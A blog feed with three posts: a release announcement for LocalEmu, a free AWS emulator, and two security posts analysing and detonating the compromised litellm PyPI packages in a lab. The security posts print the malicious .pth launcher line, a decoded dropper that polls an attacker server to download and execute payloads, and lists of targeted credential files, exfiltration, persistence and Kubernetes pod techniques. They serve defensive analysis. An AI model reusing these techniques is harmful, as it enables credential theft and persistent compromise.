If it is useful to you, a star on the repository, an issue, or a feature request genuinely helps the project grow. It is maintained in the open, and contributions are welcome.

Meet LocalEmu, the free successor to LocalStack

Tarek CHEIKH — Thu, 28 May 2026 22:55:28 +0000

An open-source AWS emulator for your laptop. No account, no token.

For years, one tool sat quietly at the center of how I work with AWS.

It let me build and test cloud applications on my own laptop, with no AWS account, no credentials, and no bill at the end of the month. I could create an S3 bucket, invoke a Lambda function, stand up a DynamoDB table, point Terraform at it, break everything, reset, and try again in seconds. It made AWS feel safe to experiment with. It saved me countless hours, and more than a few surprise charges.

That tool was the open-source Community edition of LocalStack.

What changed

In December 2025, LocalStack published a post called “The Road Ahead.” It explained that the way they delivered their AWS emulator was going to change. The free Community edition would be wound down, and the product would move to a single distribution that requires authentication.

On March 23, 2026, the open-source GitHub repository was archived. It became read-only. The free Community edition is no longer actively maintained, and the current LocalStack distribution requires an account and an auth token to run. For a lot of people, continuous integration pipelines that had been pulling the public image for years broke overnight.

I want to be fair here. LocalStack is a remarkable piece of engineering, built by a talented team over many years. Running a project that emulates the surface area of AWS is genuinely hard, and a company has every right to choose its own direction and to build a sustainable business. I am grateful for everything they created.

But I also could not ignore a simple fact: the free, no-sign-up tool I reached for almost every day no longer had anyone carrying it forward.

The decision

The Community edition was open source under the Apache 2.0 license. That license exists precisely for moments like this. It means the work can live on.

So I decided to give it a new life.

LocalEmu is a fork of the archived LocalStack Community edition. My goal is straightforward: keep a free, open AWS emulator alive and maintained, with no account and no token required, for the developers who want to learn, build, and test locally at zero cost.

Today I am releasing LocalEmu 1.0.0.

What LocalEmu is

LocalEmu emulates 132 AWS services on your machine. You do not learn a new API. You point the AWS CLI, boto3, Terraform, CDK, or Pulumi you already use at a single endpoint, http://localhost:4566, and they work.

pip install "localemu[runtime]"
localemu start

Installation is just that one command. The one prerequisite is Docker: the services that run a real engine (Lambda, EC2, RDS, ECS, EKS, OpenSearch) use it to start their sidecar containers, so Docker needs to be installed and running. Everything else is pure Python and needs no Docker. No Java, no account, no token.

What makes it more than a set of canned responses is that, where it counts, the behavior is real rather than stubbed:

Lambda runs your code inside the official AWS Lambda runtime images. Your handler executes for real.
EC2 instances are real containers attached to a real virtual private cloud, with security groups enforced by actual packet filtering, not a lookup table that pretends.
RDS gives you a real PostgreSQL or MySQL engine you can open a connection to with psql or mysql.
IAM can evaluate your identity and resource policies using the real AWS policy logic and actually deny a request with 403 AccessDenied.

There is also a built-in dashboard at http://localhost:4566/_localemu/dashboard that shows your resources, a live feed of API calls, and a CloudTrail history, so you can see what your code is doing as it runs.

What LocalEmu is not

LocalEmu is for fast local development, testing, and learning. It is not where you run production, and it will not give you bit-for-bit parity with the real cloud. Its value is the iteration loop: try an idea, see it work or fail, and adjust in seconds, on a plane or in a coffee shop, with no account and no cost. Learn a service before you touch a real bill, and test your logic before you deploy.

Try it

The fastest way in:

pip install "localemu[runtime]"
localemu start

Give the AWS CLI local credentials and a region, then point it at LocalEmu:

export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1

aws --endpoint-url http://localhost:4566 s3 mb s3://my-bucket
aws --endpoint-url http://localhost:4566 dynamodb list-tables

Prefer Docker? The image is multi-architecture, so it runs natively on Intel and on Apple Silicon:

docker run --rm -p 4566:4566 localemu/localemu

Documentation, a per-service reference, and runnable end-to-end examples are at https://localemu.cloud.

Help it grow

I am one person maintaining this right now, and a project like this lives or dies by its community.

If LocalEmu is useful to you, the most valuable things you can do are simple: try it, and if it helps, star the repository so others can find it. Open an issue when something does not work. Tell me which services or behaviors matter most to you. And if you are able, contribute, whether that is code, documentation, examples, or just a clear bug report.

The source is at https://github.com/localemu/localemu, and runnable examples live at https://github.com/localemu/localemu-examples. It is free, and it is Apache 2.0, and it will stay that way.

To the LocalStack team and every contributor who came before me: thank you. LocalEmu stands on your shoulders, and I will do my best to be a good steward of the work you started.

Now let us keep building locally.

We Detonated the Real LiteLLM Malware on EC2: Here’s What Happened

Tarek CHEIKH — Wed, 25 Mar 2026 03:27:48 +0000

We obtained the actual compromised litellm 1.82.7 and 1.82.8 packages, set up a disposable EC2 instance with honeypot credentials and mitmproxy, and detonated the malware. This is what we captured.

Why we did this

Reading security advisories tells you what the malware is supposed to do. Running it tells you what it actually does. We wanted to see every file read, every network connection, every process fork, not from a report, but from our own logs.

We also wanted to answer a practical question: on a real EC2 instance with typical developer credentials, how fast does the damage happen?

The answer is 3 seconds. But we’re getting ahead of ourselves.

The lab setup

The instance

EC2 t3.medium (2 vCPU, 4 GB RAM), Ubuntu 22.04
No IAM role attached (to avoid real credential exposure)
Security group : SSH inbound only

The tools

| Tool | Purpose |
|-------------|--------------------------------------------------------|
| mitmproxy | Intercept and log all HTTPS traffic |
| inotifywait | Watch credential files for reads in real-time |
| strace | Trace every syscall (file opens, forks, network calls) |
| tcpdump | Capture raw packets (DNS, IMDS queries) |
| auditd | Kernel-level audit trail for credential file access |

The honeypot credentials

We planted fake credentials in every location the malware is known to target:

~/.ssh/id_rsa Fake SSH private key
~/.ssh/id_ed25519 Fake SSH private key
~/.ssh/config Fake SSH host configs
~/.aws/credentials Fake AWS access keys (two profiles)
~/.aws/config Fake AWS config with role ARN
~/.kube/config Fake Kubernetes cluster config
~/.env Fake API keys (OpenAI, Anthropic, Stripe, DB)
~/.git-credentials Fake GitHub token
~/.docker/config.json Fake Docker registry auth
~/.pgpass Fake PostgreSQL passwords
~/.my.cnf Fake MySQL credentials
~/.npmrc Fake npm token
~/project/terraform.tfvars Fake Terraform secrets
~/.bash_history Commands with "accidental" passwords

Every credential contains the word “HONEYPOT” or “FAKE” so we can easily identify them in captured traffic.

We also set **_AWS\_ACCESS\_KEY\_ID_** and **_AWS\_SECRET\_ACCESS\_KEY_** in the shell environment, the malware checks environment variables too.

Starting the monitors

Before installing anything malicious, we started all five monitoring tools:

# mitmproxy on port 8080
mitmdump -w ~/lab/captures/traffic.flow --set flow_detail=3 -p 8080 &

# tcpdump for DNS, HTTPS, and IMDS traffic
sudo tcpdump -i any -w ~/lab/captures/raw.pcap \
  'port 53 or port 443 or port 80 or host 169.254.169.254' &

# Filesystem watcher on all credential locations
inotifywait -m -r --format '%T %w%f %e' --timefmt '%H:%M:%S' \
  ~/.ssh ~/.aws ~/.kube ~/.env ~/.docker ~/.pgpass ~/.npmrc /tmp/ &

# Process tree snapshot every second
while true; do ps auxf --cols 200; sleep 1; done > processes.log &

# Audit rules for credential access
sudo auditctl -w ~/.ssh/ -p r -k ssh_access
sudo auditctl -w ~/.aws/ -p r -k aws_access

Screenshot: All monitors running, process tree before detonation

Run 1: The fork bomb

Installation

python3 -m venv ~/lab/malware-venv
source ~/lab/malware-venv/bin/activate
pip install --no-deps ~/lab/malware/litellm-1.82.8-py3-none-any.whl

pip installs the package normally. No warnings, no errors. But now **_litellm\_init.pth_** sits in **_site-packages/_**, armed and waiting.

$ find ~/lab/malware-venv -name "*.pth" -exec ls -la {} \;
-rw-rw-r-- 1 ubuntu ubuntu 34628 litellm_init.pth

34,628 bytes of base64-encoded malware, ready to fire on the next Python command.

Detonation

We set the proxy environment variables so traffic routes through mitmproxy, then trigger:

export HTTPS_PROXY=http://127.0.0.1:8080
python3 -c "print('hello world')"

A completely innocent command. And then the machine starts dying.

The fork bomb in real-time

The filesystem watcher lit up immediately:

Screenshot: Filesystem log showing pip install followed by the .pth triggering

The process monitor captured the exponential growth:

22:19:11 -> 3 python3 processes (normal: mitmproxy + system)
22:19:12 -> 14 DETONATION
22:19:13 -> 55 exponential growth
22:19:14 -> 83
22:19:15 -> 133
22:19:16 -> 157
22:19:18 -> 194
22:19:19 -> 220
22:19:20 -> 272
22:19:25 -> 390
22:19:30 -> 509
22:19:50 -> 891
                                     machine dead

3 to 891 Python processes in 38 seconds. Each **_.pth_** trigger spawns a **_Popen_**, which starts a new Python, which triggers the **_.pth_** again.

SSH became unresponsive. We couldn’t even run **_kill_**. We had to force stop the instance from the AWS Console.

Screenshot: AWS Console showing the instance in “Stopping” state after the fork bomb

But the credentials were already stolen

Even during the chaos, every forked process ran the harvester independently. The filesystem log shows:

22:19:14 .ssh/id_rsa OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .ssh/id_ed25519 OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .ssh/config OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .git-credentials OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .gitconfig OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .aws/credentials OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .aws/config OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .env OPEN, ACCESS, CLOSE <- STOLEN
22:19:15 .docker/ OPEN, ACCESS, CLOSE <- SCANNED
22:19:15 .kube/ OPEN, ACCESS, CLOSE <- SCANNED

All credentials harvested in under 2 seconds. Then each of the 891 forked processes tried to do the same thing again, which is what consumed all the memory.

The strace log confirmed it at the syscall level:

5128 22:19:14.293419 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_rsa", O_RDONLY)
5128 22:19:14.308065 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_ed25519", O_RDONLY)
5128 22:19:14.641115 openat(AT_FDCWD, "/etc/ssh", O_RDONLY|O_DIRECTORY)
5128 22:19:14.656340 openat(AT_FDCWD, "/etc/ssh/ssh_host_ecdsa_key", O_RDONLY)
5128 22:19:14.660708 openat(AT_FDCWD, "/etc/ssh/ssh_host_ed25519_key", O_RDONLY)
5128 22:19:14.666879 openat(AT_FDCWD, "/etc/ssh/ssh_host_rsa_key", O_RDONLY)
5128 22:19:14.804001 openat(AT_FDCWD, "/home/ubuntu/.aws/credentials", O_RDONLY)

The malware even went after the system SSH host keys in **_/etc/ssh/_**. On a server, this means the attacker could impersonate it.

Recovery

To recover from the fork bomb:

Force stop the instance from AWS Console (SSH is dead)
Start it again (it gets a new public IP)
Immediately SSH in and delete the .pth: **_rm ~/lab/malware-venv/lib/python3.10/site-packages/litellm\_init.pth_**
The instance is now safe

The .pth file lives inside the venv, not the system Python. So a regular **_python3_** outside the venv won’t trigger it. But you must delete it before activating the venv again.

Run 2: Controlled detonation

With the .pth bomb defused, we ran the decoded payload directly, single process, no fork bomb.

export HTTPS_PROXY=http://127.0.0.1:8080
export AWS_ACCESS_KEY_ID=AKIAHONEYPOT_ENV_VAR_X
export AWS_SECRET_ACCESS_KEY=FAKE_ENV_SECRET_FOR_LAB

python3 ~/lab/malware/decoded_payload.py

What mitmproxy captured

This is the single most important piece of evidence from the lab:

Screenshot: mitmproxy showing all intercepted traffic — IMDS, AWS APIs, C2 exfiltration

Let’s go through each request:

Request 1: EC2 IMDS query (curl)

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
-> 404 Not Found (no IAM role attached to our instance)

The malware’s first move: check if the instance has an IAM role. If it did, it would steal the temporary credentials. On any EC2 instance without IMDSv2 enforced, this works silently.

Request 2: IMDSv2 token (Python urllib)

PUT http://169.254.169.254/latest/api/token
X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21600
-> 200 OK (token returned!)

The malware is smart: it tries both IMDSv1 (simple GET) and IMDSv2 (PUT for token first). It successfully obtained an IMDSv2 token from our instance.

Request 3: IAM credentials with token

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-Aws-Ec2-Metadata-Token: AQAEAOKJVhjTgs424B9...
-> 404 Not Found (still no role)

Request 4: AWS Secrets Manager

CONNECT secretsmanager.us-east-1.amazonaws.com:443
-> TLS handshake error (our honeypot keys are not real)

The malware tried to dump every secret in AWS Secrets Manager using SigV4 signed requests. It failed because our fake AWS keys can’t authenticate. With real keys, this would dump every secret.

Request 5: AWS SSM Parameter Store

CONNECT ssm.us-east-1.amazonaws.com:443
-> TLS handshake error (fake keys)

Same thing, tried to dump all SSM parameters. Failed for the same reason.

Request 6: Exfiltration to C2

CONNECT models.litellm.cloud:443
-> "Name or service not known" (domain is down)

The big one. The malware tried to POST the encrypted credential archive (**_tpcp.tar.gz_**) to the attacker’s C2 server. The domain **_models.litellm.cloud_** was already seized or taken down.

Request 7: ECS credentials

GET http://169.254.170.2/
-> Connection timed out

The malware also tried the ECS container credentials endpoint, in case it was running inside an ECS task.

What htop showed

While the malware was running, htop revealed what it was doing in real-time:

Screenshot: htop showing the malware searching for cryptocurrency wallet credentials

The top process: **_grep -r rpcuser|rpcpassword|rpcauth /root /home_**: the malware was recursively searching the entire filesystem for cryptocurrency RPC credentials. Bitcoin, Ethereum, Solana wallet configurations use **_rpcuser_** and **_rpcpassword_** fields.

Screenshot: htop showing strace at 100% CPU while tracing the malware

Filesystem evidence

The filesystem watcher from Run 2 confirmed the credential theft:

23:02:33 .ssh/id_rsa OPEN, ACCESS, CLOSE
23:02:33 .ssh/id_ed25519 OPEN, ACCESS, CLOSE
23:02:33 .ssh/config OPEN, ACCESS, CLOSE
23:02:33 .git-credentials OPEN, ACCESS, CLOSE
23:02:33 .gitconfig OPEN, ACCESS, CLOSE
23:02:33 .aws/credentials OPEN, ACCESS, CLOSE
23:02:33 .aws/config OPEN, ACCESS, CLOSE
23:02:33 .env OPEN, ACCESS, CLOSE
23:02:33 .docker/ OPEN, CLOSE (directory scan)
23:02:33 .kube/ OPEN, CLOSE (directory scan)

All within the same second. The harvester is fast.

Run 3: Persistence analysis

We ran the payload one more time to see if the persistence mechanism would install:

rm -rf ~/.config/sysmon ~/.config/systemd/user/sysmon.service
python3 ~/lab/malware/decoded_payload.py

Screenshot: sysmon.py created but 0 bytes

The malware created **_~/.config/sysmon/sysmon.py_** and the **_~/.config/systemd/user/_** directory. But **_sysmon.py_** was 0 bytes, the persistence write failed silently (the **_except: pass_** in the harvester swallowed the error).

We decoded the persistence payload manually. Here is what **_sysmon.py_** would contain on a real victim:

C_URL = "https://checkmarx.zone/raw" # C2 (Command and Control) server
TARGET = "/tmp/pglog" # Downloaded payload
STATE = "/tmp/.pg_state" # Dedup state

time.sleep(300) # 5 min delay (sandbox evasion)
while True:
    url = fetch_from_c2()
    if url and "youtube.com" not in url: # Kill switch
        download_and_execute(url)
    time.sleep(3000) # Poll every 50 min

The **_youtube.com_** check is interesting: if the C2 returns a YouTube URL, the dropper does nothing. This is likely the attacker’s safety mechanism to deactivate the malware remotely.

System log evidence

The syslog from the fork bomb run contains the kernel listing Python processes at OOM time:

Mar 24 22:30:04 kernel: [6326] 1000 6326 2495 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6327] 1000 6327 2487 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6328] 1000 6328 1934 96 0 96 0 40960 0 0 python3
Mar 24 22:30:04 kernel: [6331] 1000 6331 1934 64 0 64 0 49152 0 0 python3
... (dozens more python3 entries)

The kernel was about to invoke the OOM killer on all those python3 processes. We stopped the instance before it got there.

The decoded malware

All three stages of the malware, decoded and readable:

Screenshot: The decoded payload showing the RSA public key and base64-encoded harvester

Screenshot: Decoded Stage 1 showing AES-256 encryption and curl POST to C2

Screenshot: Both compromised wheels and decoded payloads on the lab instance

What we proved

The .pth mechanism is devastating. A single **_python3_** command, not even importing litellm triggers the malware. The fork bomb is a side effect, not the intent, but it makes the attack visible.
Credential theft takes under 2 seconds. From trigger to having read every SSH key, AWS credential, and .env file on the machine less than 2 seconds.
The malware actively exploits AWS. It doesn’t just steal static credential files. It queries EC2 IMDS for IAM role credentials, tries to dump Secrets Manager, and tries to dump SSM Parameter Store. It implements full AWS SigV4 request signing.
Kubernetes lateral movement is real. If a service account token exists, the malware reads all cluster secrets and deploys privileged pods on every node.
The exfiltration is encrypted and stealthy. AES-256-CBC with RSA-4096 key wrapping. The POST to models.litellm.cloud looks like a normal API call in logs.
Persistence survives pip uninstall. The systemd backdoor lives in **_~/.config/_**, outside pip’s control.

Reproduce this yourself

Everything you need is in our repo:

git clone https://github.com/TocConsulting/litellm-supply-chain-attack-analysis
cd litellm-supply-chain-attack-analysis

# Launch the lab (creates EC2, installs tools, plants honeypots, uploads malware)
bash lab/scripts/launch-lab.sh

# SSH in
ssh -i ~/.ssh/litellm-lab.pem ubuntu@<PUBLIC_IP>

# Start monitors, then detonate
bash ~/lab/scripts/monitor-all.sh
bash ~/lab/scripts/detonate.sh

Warning: The fork bomb WILL crash a t3.medium instance. You will need to force stop it from the AWS Console, restart, and delete the .pth file. Then run the decoded payload directly for controlled analysis. Full instructions in the repo.

Warning: These are real malware samples. Only run them on disposable instances with no real credentials. Read WARNING.md before proceeding.

Full evidence

All evidence from our lab runs is published in the repo:

| Evidence | What it proves |
|---------------------------------------------------------------------------|-----------------------------------------------------|
| [mitmproxy.log](../lab/evidence/logs-run2/mitmproxy.log) | Full HTTPS traffic: IMDS, AWS APIs, C2 exfiltration |
| [filesystem.log](../lab/evidence/logs-run2/filesystem.log) | Every credential file read with timestamp |
| [processes.log (run1)](../lab/evidence/logs-run1/processes.log) | Fork bomb: 3 to 891 processes in 38 seconds |
| [strace extracts](../lab/evidence/logs-run2/strace-run2-KEY-EXTRACTS.txt) | Syscall-level proof of file reads |
| [syslog](../lab/evidence/var-log/syslog) | Kernel OOM listing python3 processes |
| [All screenshots](../lab/evidence/screenshots/) | Visual evidence of every stage |

Anatomy of a Supply Chain Attack: How LiteLLM Was Weaponized in 6 Hours

Tarek CHEIKH — Wed, 25 Mar 2026 03:27:01 +0000

Yesterday, one of the most popular Python packages in the AI ecosystem was turned into a weapon. Here is exactly how it happened, what the malware does, and what every developer needs to know.

The target

LiteLLM is an open source Python library that acts as a unified gateway to 100+ LLM providers: OpenAI, Anthropic, Azure, AWS Bedrock, and more. It has about 95 million monthly downloads on PyPI.

Organizations use it as their central LLM proxy. This means that by design, LiteLLM has access to every LLM API key in the organization.

The attacker didn't pick this target randomly.

How they got in

The LiteLLM compromise was not a standalone attack. It was the third stage of a campaign by a threat actor tracked as TeamPCP.

The chain

Attack Chain Flow Diagram

March 1 : Aqua Security, the company behind the vulnerability scanner Trivy, gets breached. Their credential rotation after the incident is incomplete, some tokens survive.

March 19 : Using surviving credentials, TeamPCP publishes a compromised version of Trivy. The irony: Trivy is the security scanner organizations run to detect compromises. The attacker compromised the tool that detects compromises.

March 23 : Here is the critical link. LiteLLM's CI/CD pipeline had this line in ci_cd/security_scans.sh:

curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

No version pinning. This installs whatever the latest Trivy is including the compromised one. When LiteLLM's CI ran its security scan, the poisoned Trivy had access to the CI environment's secrets, including PyPI API tokens belonging to maintainer krrishdholakia.

March 23 : The attacker registers the domain litellm.cloud through registrar Spaceship, Inc. The legitimate LiteLLM domain is litellm.ai. The similarity is intentional: models.litellm.cloud looks like a real API endpoint in network logs.

March 24, 08:30 UTC : Using the stolen PyPI token, TeamPCP uploads two malicious versions directly to PyPI:

1.82.7 : malicious code injected into proxy_server.py
1.82.8 : same injection plus a .pth file (more on this below)

No Git tag was created. No GitHub release. No pull request. The attacker uploaded directly to PyPI, completely bypassing code review.

The weapon: what is a .pth file?

This is the technical trick that makes the LiteLLM attack so dangerous.

Python has a little known startup mechanism. When the interpreter starts, it scans the site-packages/ directory for files ending in .pth. These files were designed to add directories to Python's import path.

But there is a dangerous feature: any line in a .pth file that starts with import is executed as Python code. Not added to a path. Executed. On every Python interpreter startup. Unconditionally.

This means:

You don't need to import litellm
You don't need to run any litellm code
You just need litellm to be installed in the environment
Any python command triggers it, including python --version

The launcher

The attacker placed a file called litellm_init.pth (34,628 bytes) inside the wheel package. When installed via pip, it lands in site-packages/. It contains a single line:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c",
  "import base64; exec(base64.b64decode(base64.b64decode('PAYLOAD')))"],
  stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

What this does:

subprocess.Popen: Forks a new child process. Popen (not run or call) returns immediately without waiting. The parent Python process continues normally. The user sees no delay, no error, nothing. Under the hood this is fork() + exec().
base64.b64decode(base64.b64decode(...)): Double base64 decoding. The outer decode produces another base64 string. The inner decode produces the actual malware. Double encoding evades scanners that pattern match on known malicious code.
exec(...): Executes the decoded 331 line credential harvester in the child process.
stdout=DEVNULL, stderr=DEVNULL: Suppresses all output. Silent.

Screenshot: Base64 encoded payload visible in the .pth file

The fork bomb: an unintended side effect

There is a catch the attacker apparently didn't fully account for. When the .pth file triggers subprocess.Popen to launch a new Python process, that new process also starts up, scans site-packages/, finds the same .pth file, and triggers it again. And again. And again.

Fork Bomb Flow Diagram

We observed this firsthand in our lab. Starting from a single python3 -c "print('hello')" command:

| Time  | Python processes |
|-------|------------------|
| T+0s  | 3 (normal)       |
| T+1s  | 14               |
| T+2s  | 55               |
| T+4s  | 133              |
| T+13s | 390              |
| T+18s | 509              |
| T+38s | 891              |
| T+40s | Machine dead     |

From 3 to 891 Python processes in 38 seconds. The machine ran out of RAM and became completely unresponsive.

This is actually how the attack was originally discovered. Callum McMahon at FutureSearch noticed his machine ran out of RAM when an MCP plugin in the Cursor IDE pulled litellm as a transitive dependency.

The payload: what it steals

Once decoded and executing, the payload is a 331 line Python script that operates in three stages.

Stage 1: Credential harvesting

The script reads files from well known paths. Every secret on the machine is a target:

SSH credentials:

~/.ssh/id_rsa, ~/.ssh/id_ed25519: private keys
~/.ssh/config: host configurations, jump hosts
/etc/ssh/ssh_host_*_key: server host keys

Cloud provider credentials:

~/.aws/credentials: AWS Access Key ID and Secret
GCP service account JSON keys
Azure CLI token cache
EC2 IMDS queries (169.254.169.254) for IAM role credentials
AWS Secrets Manager dump via SigV4 signed API calls
AWS SSM Parameter Store dump

Kubernetes:

~/.kube/config: cluster access
Service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token
All secrets across all namespaces via the K8s API

Application secrets:

.env files (recursive search to depth 6)
Shell history (~/.bash_history, ~/.zsh_history)
Database credentials (.pgpass, .my.cnf, redis.conf)
Docker registry auth (~/.docker/config.json)
npm tokens (~/.npmrc)
Terraform state and variables (terraform.tfvars, terraform.tfstate)
CI/CD configs (Jenkinsfile, .gitlab-ci.yml, .travis.yml)
Cryptocurrency wallets (Bitcoin, Ethereum, Solana, Cardano, and more)

The script doesn't crash if a file doesn't exist. It silently skips it. It runs on any machine: developer laptop, CI runner, production server, Kubernetes pod and takes whatever is available.

Screenshot: Filesystem log showing the malware reading SSH keys, AWS credentials, git credentials

Stage 2: Encryption and exfiltration

The stolen data is not sent in plaintext:

Generate a random AES-256 session key using openssl rand
Encrypt all collected data with openssl enc -aes-256-cbc -pbkdf2
Encrypt the session key with a hardcoded 4096 bit RSA public key
Bundle everything into tpcp.tar.gz
POST to https://models.litellm.cloud/ with an X-Filename header

The RSA public key is hardcoded in the malware. Only the attacker holds the matching private key. Even if you capture the network traffic, you cannot decrypt the contents.

Screenshot: Decoded payload showing the AES encryption and curl exfiltration code

Stage 3: Kubernetes lateral movement

If the script detects a Kubernetes service account token, it escalates massively:

Read all secrets across all namespaces
For every node in the cluster, create a privileged pod:
- Named node-setup-NODE_NAME in kube-system namespace
- hostPID: true, hostNetwork: true, privileged: true
- Mounts the entire host filesystem at /host
- Tolerates all taints (runs on every node, including control plane)
- Installs the persistence backdoor on each node via chroot

One compromised pip install on a developer laptop can lead to every node in the Kubernetes cluster being backdoored.

Stage 4: Persistence

The malware installs a backdoor that survives pip uninstall:

~/.config/sysmon/sysmon.py: a 44 line Python script
~/.config/systemd/user/sysmon.service: a systemd service that auto starts it

The name "sysmon" is deliberately chosen, it mimics Microsoft's legitimate system monitoring tool. The script:

Waits 5 minutes before doing anything (sandbox evasion)
Polls https://checkmarx.zone/raw (the attacker's C2 server) every 50 minutes for new payloads
Downloads and executes whatever the C2 server provides
Has a kill switch: if the C2 returns a YouTube URL, it skips execution

After this step, even pip uninstall litellm doesn't help. The backdoor lives outside pip's control.

The two versions: why 1.82.8 was worse

	v1.82.7	v1.82.8
Injection in proxy_server.py	Yes	Yes
.pth file	No	Yes
Triggers when	You import litellm.proxy	Any Python command
Must use litellm?	Yes	No, just having it installed is enough

Version 1.82.7 was targeted, it only fires if you actually use the proxy module. Version 1.82.8 was a carpet bomb, every Python invocation triggers it.

The mitmproxy capture: seeing the attack in real-time

We set up a lab with mitmproxy intercepting all HTTPS traffic from the malware. Here is what we captured:

1. GET 169.254.169.254/.../security-credentials/ -> Steal IAM role
2. PUT 169.254.169.254/latest/api/token -> Get IMDSv2 token
3. CONNECT secretsmanager.us-east-1.amazonaws.com -> Dump Secrets Manager
4. CONNECT ssm.us-east-1.amazonaws.com -> Dump SSM Parameters
5. CONNECT models.litellm.cloud:443 -> Exfiltrate to C2
6. GET 169.254.170.2 -> Steal ECS credentials

Screenshot: mitmproxy capturing all malicious traffic — IMDS queries, AWS API calls, C2 exfiltration

The malware tried to reach 5 different endpoints. On a real EC2 instance with an IAM role and real AWS credentials, steps 1–4 would have succeeded silently dumping every secret in Secrets Manager and SSM Parameter Store.

Discovery and response

12:00 UTC : Callum McMahon at FutureSearch notices his machine running out of RAM.

13:48 UTC : Security issue disclosed on GitHub.

15:00 UTC : PyPI yanks versions 1.82.7 and 1.82.8.

16:00 UTC : PyPI quarantines the entire litellm package.

The attack window was approximately 6.5 hours. During that time, anyone who ran pip install litellm or pip install --upgrade litellm received the compromised version.

Why it worked

Several factors aligned:

Unpinned dependency in CI/CD : LiteLLM installed Trivy via curl | sh without version pinning, inheriting Trivy's compromise.
PyPI token in CI environment : The publishing credentials were accessible to the CI job that ran Trivy. Principle of least privilege was not applied.
No release verification : PyPI does not verify that a published version has a corresponding Git tag. Anyone with the token can upload anything.
The .pth mechanism : A 22 year old Python feature that auto executes code on startup. No CVE. No bug. Just a feature that enables silent code execution.
LiteLLM's role as a key gateway : The package, by design, has access to every LLM API key. Compromising it yields maximum credential harvest.

What you should do right now

If you installed litellm 1.82.7 or 1.82.8:

Run pip show litellm to check your version
Search for litellm_init.pth in your Python site-packages
Check for ~/.config/sysmon/sysmon.py on any affected machine
Check for pods named node-setup-* in your Kubernetes clusters
Rotate every credential on any affected system: SSH keys, AWS keys, K8s configs, API tokens, database passwords, everything

For everyone:

Pin your dependencies. Every one. Including tools fetched via curl | sh.
Scope your CI/CD secrets. Publishing tokens should only be accessible to dedicated publishing jobs.
Use PyPI Trusted Publishers (OIDC-based publishing from GitHub Actions, no static tokens to steal).
Periodically scan site-packages/ for .pth files containing executable code.
Check that your PyPI dependencies have matching GitHub tags.

Going deeper

In Part 2, we detonate the real compromised package on an isolated EC2 instance and capture every stage of the attack with mitmproxy, strace, and inotifywait. We see the fork bomb in real-time, watch the credential harvester read our honeypot files, and intercept the exfiltration attempt.

Full analysis repo with malware samples, lab scripts, and evidence: https://github.com/TocConsulting/litellm-supply-chain-attack-analysis